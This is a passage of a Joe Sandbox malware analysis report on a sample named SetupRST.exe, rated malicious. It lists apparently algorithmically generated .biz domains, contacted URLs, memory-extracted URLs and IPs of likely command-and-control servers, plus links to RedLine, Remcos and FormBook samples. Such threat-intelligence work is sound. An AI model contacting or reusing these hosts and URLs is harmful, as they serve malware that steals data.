oshhkdluh.biz	54.244.188.177	true	false	unknown
opowhhece.biz	18.208.156.248	true	false	unknown
pectx.biz	18.246.231.120	true	false	unknown
jwkoeoqns.biz	18.208.156.248	true	false	unknown
jpskm.biz	34.211.97.45	true	false	unknown
ftxlah.biz	47.129.31.212	true	true	unknown
ifsaia.biz	13.251.16.150	true	true	unknown
rynmcq.biz	54.244.188.177	true	false	unknown
oflybfv.biz	47.129.31.212	true	true	unknown
jhvzpcfg.biz	44.221.84.105	true	false	unknown
ywffr.biz	54.244.188.177	true	false	unknown
tnevuluw.biz	35.164.78.200	true	false	unknown
saytjshyf.biz	44.221.84.105	true	false	unknown
fwiwk.biz	172.234.222.138	true	false	unknown
rrqafepng.biz	47.129.31.212	true	true	unknown
typgfhb.biz	13.251.16.150	true	true	unknown
esuzf.biz	34.211.97.45	true	false	unknown
eufxebus.biz	18.141.10.107	true	false	unknown
whjovd.biz	18.141.10.107	true	false	unknown
banwyw.biz	44.221.84.105	true	false	unknown
myups.biz	165.160.13.20	true	false	unknown
pwlqfu.biz	34.246.200.160	true	false	unknown
zyiexezl.biz	18.208.156.248	true	false	unknown
yauexmxk.biz	18.208.156.248	true	false	unknown
ssbzmoy.biz	18.141.10.107	true	false	unknown
knjghuig.biz	18.141.10.107	true	false	unknown
yunalwv.biz	208.100.26.245	true	false	unknown
brsua.biz	3.254.94.185	true	false	unknown
mgmsclkyu.biz	34.246.200.160	true	false	unknown
gjogvvpsf.biz	208.100.26.245	true	false	unknown
qaynky.biz	13.251.16.150	true	true	unknown
qpnczch.biz	18.246.231.120	true	false	unknown
mnjmhp.biz	47.129.31.212	true	true	unknown
acwjcqqv.biz	18.141.10.107	true	false	unknown
jdhhbs.biz	13.251.16.150	true	true	unknown
anpmnmxo.biz	unknown	unknown	true	unknown
zjbpaao.biz	unknown	unknown	true	unknown
uhxqin.biz	unknown	unknown	true	unknown
zlenh.biz	unknown	unknown	true	unknown
muapr.biz	unknown	unknown	true	unknown
lejtdj.biz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://cvgrf.biz/gbbbebxx	false	unknown
http://przvgke.biz/qprvfvxthn	false	unknown
http://hehckyov.biz/eofbr	false	unknown
http://cvgrf.biz/stcojqthrenppf	false	unknown
http://ssbzmoy.biz/hsnletpxhs	false	unknown
http://jhvzpcfg.biz/lrnoivnqn	false	unknown
http://opowhhece.biz/pykblaurywsrgec	false	unknown
http://gjogvvpsf.biz/ornvyatmtd	false	unknown
http://myups.biz/vqftyarvq	false	unknown
http://acwjcqqv.biz/auaskog	false	unknown
http://ssbzmoy.biz/xwha	false	unknown
http://oflybfv.biz/nfu	true	unknown
http://jpskm.biz/ctyqtta	false	unknown
http://banwyw.biz/awjdluu	false	unknown
http://myups.biz/krbjifi	false	unknown
http://vjaxhpbji.biz/dlhkke	false	unknown
http://gjogvvpsf.biz/ebtlfunmljyaysos	false	unknown
http://pectx.biz/emxm	false	unknown
http://cvgrf.biz/cahftjsoels	false	unknown
http://gnqgo.biz/cmri	false	unknown
http://xlfhhhm.biz/yllrrd	true	unknown
http://sxmiywsfv.biz/epfkt	true	unknown
http://bghjpy.biz/mvllksybj	false	unknown
http://pwlqfu.biz/qhpr	false	unknown
http://yunalwv.biz/smymaayghjits	false	unknown
http://ftxlah.biz/gqwbcjlstvkgaii	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://54.244.188.177:80/gbbbebxx	alg.exe, 00000004.00000003.1573524866.00000000005A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://18.208.156.248:80/dq0	alg.exe, 00000004.00000003.2220514909.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2201440892.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2238199459.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://47.129.31.212/yllrrdngs	alg.exe, 00000004.00000003.1861004204.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://certs.starfieldtech.com/repository/1/0-	SetupRST.exe	false		unknown
http://18.208.156.248/syefsgspiwwwgth	alg.exe, 00000004.00000003.2006481076.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1992027048.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2071299807.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2072974664.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2049829059.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2046353449.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1963314531.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2056556401.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2060002824.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038493315.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1975542737.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2036331410.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2028168899.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2004420652.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://scss.adobesc.cominvalidAnnotIdList	AdobeCollabSync.exe.4.dr	false		unknown
http://ocsp.starfieldtech.com/09	SetupRST.exe	false		unknown
http://18.141.10.107/8	SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1501562343.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://208.100.26.245/0P	alg.exe, 00000004.00000003.1976493433.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
HTTP://WWW.INTEL.COM.TW/CONTENT/WWW/TW/ZH/PRIVACY/INTEL-PRIVACY-NOTICE.HTML)	SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	false		unknown
http://34.246.200.160/m0P	alg.exe, 00000004.00000003.1955534393.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new	alg.exe, 00000004.00000003.2030612184.0000000001550000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://18.141.10.107/hsnletpxhs)	SetupRST.exe, 00000000.00000003.1521074372.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1509851528.00000000005D1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://scss.adobesc.comreasoncom.adobe.review.sdk	AdobeCollabSync.exe.4.dr	false		unknown
http://54.244.188.177/clfmdnt	alg.exe, 00000004.00000003.2016536836.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://18.141.10.107/bn	alg.exe, 00000004.00000003.1602125784.000000000058F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.starfieldtech.com/0D	SetupRST.exe	false		unknown
http://44.221.84.105/pP	alg.exe, 00000004.00000003.2005345842.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://18.141.10.107/hsnletpxhs	SetupRST.exe, 00000000.00000003.1501562343.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://18.246.231.120:80/fowjhr	alg.exe, 00000004.00000003.2201440892.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2188352338.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://54.244.188.177//L	SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://34.246.200.160:80/m0	alg.exe, 00000004.00000003.1955475548.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://defaultcontainer/SetupRST;component/Main/CustomWindow.xaml	SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://18.141.10.107/bjvqnbwkkxebhk	alg.exe, 00000004.00000003.1598287996.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1573524866.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1562032588.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1546942335.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1617678569.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1602125784.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1547164464.000000000058E000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1575951282.000000000058C000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1583235568.000000000058F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.daltonmaag.com/eula	SetupRST.exe	false		unknown
http://172.234.222.138:80/qprvfvxthn	alg.exe, 00000004.00000003.1784162906.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1728305996.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1617628811.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1598226540.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1602062638.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://44.221.84.105/	SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2154538122.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005345842.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://foo/bar/stepsviews/stepviewsdatatemplates.baml	SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://82.112.184.197/Wp~V	alg.exe, 00000004.00000003.1784162906.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1817065390.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1861004204.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crashpad.chromium.org/	alg.exe, 00000004.00000003.2030612184.0000000001550000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.intel.com/content/www/us/en/support/articles/000057951CPinningRemovalWarningDataTemplate	SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	false		unknown
http://82.112.184.197/lsowwnafegrqlgyr9	alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://82.112.184.197:80/lsowwnafegrqlgyrbat	alg.exe, 00000004.00000003.1845208976.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1842398860.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1860907623.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://172.234.222.138/lwehxoftdabhvG	alg.exe, 00000004.00000003.1955061132.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1935029720.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2006481076.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1992027048.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2071299807.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2072974664.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2049829059.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2046353449.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1963314531.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2056556401.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2060002824.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038493315.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1975542737.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2036331410.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2028168899.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2004420652.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://165.160.13.20:80/vqftyarvq	alg.exe, 00000004.00000003.2046353449.00000000005AB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881118.0.1	alg.exe, 00000004.00000003.2177602359.0000000000410000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://44.221.84.105/afq7L	SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://54.244.188.177/epijprbe1E	SetupRST.exe, 00000000.00000003.1521074372.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1509851528.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04D7F000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://certificates.godaddy.com/repository/gd_intermediate.crt0	SetupRST.exe	false		unknown
http://208.100.26.245/dP	alg.exe, 00000004.00000003.2090117262.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://82.112.184.197/dlhkkehyjjgrporQ	alg.exe, 00000004.00000003.1817762603.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1784162906.000000000058F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://foo/bar/assets/colors.baml	SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.starfieldtech.com/sfsroot.crl0S	SetupRST.exe	false		unknown
https://www.intel.com/content/www/us/en/support/contact-support.html?productId=35125#	SetupRST.exe	false		unknown
http://18.208.156.248:80/syefsgspiwwwgtPv	alg.exe, 00000004.00000003.1992785874.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1964112463.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1976380319.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005243132.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2017812631.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://172.234.222.138/jeucdxkbfjx	alg.exe, 00000004.00000003.1943240177.0000000000545000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955534393.0000000000545000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://54.244.188.177:80/epijprbe	SetupRST.exe, 00000000.00000003.1509851528.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://34.211.97.45/ctyqtta6c8e8c94	alg.exe, 00000004.00000003.2101951916.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://18.141.10.107:80/xwha	alg.exe, 00000004.00000003.1522008090.000000000058B000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1546942335.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://18.141.10.107:80/hsnletpxhs	SetupRST.exe, 00000000.00000003.1521074372.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1509851528.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000002.1528600545.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1501449599.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://defaultcontainer/SetupRST;component/Assets/Styles.xaml	SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://foo/Assets/Colors.xaml	SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://3.94.10.34:80/bixuuichtxn	alg.exe, 00000004.00000003.2036331410.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2046353449.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038331133.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.daltonmaag.com/eul	SetupRST.exe	false		unknown
http://82.112.184.197/	alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://44.221.84.105/nrkvuwfbbmudeg	alg.exe, 00000004.00000003.1955061132.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1917185232.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1935029720.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1963314531.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1890078257.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1889274317.00000000005BB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://34.211.97.45:80/ctyqtta	alg.exe, 00000004.00000003.2100368860.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2111875189.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://54.244.188.177/uiymjppobNb	SetupRST.exe, 00000000.00000003.1486297236.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1486049445.00000000005CE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://82.112.184.197/0P	alg.exe, 00000004.00000003.1784162906.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1817065390.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://54.244.188.177/tP	alg.exe, 00000004.00000003.2016536836.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1499741394.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.sectigo.com0	SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04D7F000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://certs.starfieldtech.com/repository/0	SetupRST.exe	false		unknown
http://certificates.godaddy.com/repository/0	SetupRST.exe	false		unknown
http://34.211.97.45/	alg.exe, 00000004.00000003.2101951916.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crashpad.chromium.org/bug/new	alg.exe, 00000004.00000003.2030612184.0000000001550000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.gimp.org/xmp/	SetupRST.exe	false	URL Reputation: safe	unknown
HTTPS://WWW.THAILAND.INTEL.COM/CONTENT/WWW/TH/TH/PRIVACY/INTEL-PRIVACY-NOTICE.HTML	SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	false		unknown
http://172.234.222.138:80/jeucdxkbfjx	alg.exe, 00000004.00000003.1964112463.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1943038453.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955475548.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://82.112.184.197/dlhkke	alg.exe, 00000004.00000003.1784162906.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1817065390.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://172.234.222.138:80/lwehxoftdabhv	alg.exe, 00000004.00000003.1943038453.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955475548.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://44.221.84.105/ngs	alg.exe, 00000004.00000003.2005345842.000000000056D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://scss.adobesc.com	AdobeCollabSync.exe.4.dr	false		unknown
http://foo/Assets/Styles.xaml	SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
3.254.94.185	uaafd.biz	United States	16509	AMAZON-02US	false
3.94.10.34	ytctnunms.biz	United States	14618	AMAZON-AESUS	false
34.246.200.160	tbjrpv.biz	United States	16509	AMAZON-02US	false
18.208.156.248	damcprvgv.biz	United States	14618	AMAZON-AESUS	false
34.211.97.45	vrrazpdh.biz	United States	16509	AMAZON-02US	false
208.100.26.245	gytujflc.biz	United States	32748	STEADFASTUS	false
35.164.78.200	nqwjmb.biz	United States	16509	AMAZON-02US	false
172.234.222.138	przvgke.biz	United States	20940	AKAMAI-ASN1EU	false
165.160.13.20	myups.biz	United States	19574	CSCUS	false
72.52.178.23	wxgzshna.biz	United States	32244	LIQUIDWEBUS	false
44.221.84.105	hehckyov.biz	United States	14618	AMAZON-AESUS	false
85.214.228.140	dlynankz.biz	Germany	6724	STRATOSTRATOAGDE	false
54.244.188.177	pywolwnvd.biz	United States	16509	AMAZON-02US	false
13.251.16.150	sxmiywsfv.biz	United States	16509	AMAZON-02US	true
47.129.31.212	xlfhhhm.biz	Canada	34533	ESAMARA-ASRU	true
18.246.231.120	vyome.biz	United States	16509	AMAZON-02US	false
82.112.184.197	vjaxhpbji.biz	Russian Federation	43267	FIRST_LINE-SP_FOR_B2B_CUSTOMERSUPSTREAMSRU	false
18.141.10.107	warkcdu.biz	United States	16509	AMAZON-02US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543958
Start date and time:	2024-10-28 16:37:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SetupRST.exe
Detection:	MAL
Classification:	mal100.spre.troj.expl.evad.winEXE@9/144@82/18
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, DiagnosticsHub.StandardCollector.Service.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SetupRST.exe, PID 5600 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: SetupRST.exe

Simulations

Behavior and APIs

Time	Type	Description
11:38:36	API Interceptor	4x Sleep call for process: SetupRST.exe modified
11:38:38	API Interceptor	82x Sleep call for process: alg.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3.254.94.185	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	brsua.biz/rmsexfnebpnpl
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	ocsvqjg.biz/plbdbgmplm
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	uaafd.biz/inbwfclciwgycy
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	uaafd.biz/flkouthsl
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	ocsvqjg.biz/whfwpsna
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	ocsvqjg.biz/aerkmi
3.94.10.34	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	gvijgjwkh.biz/unx
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	gvijgjwkh.biz/lwgexo
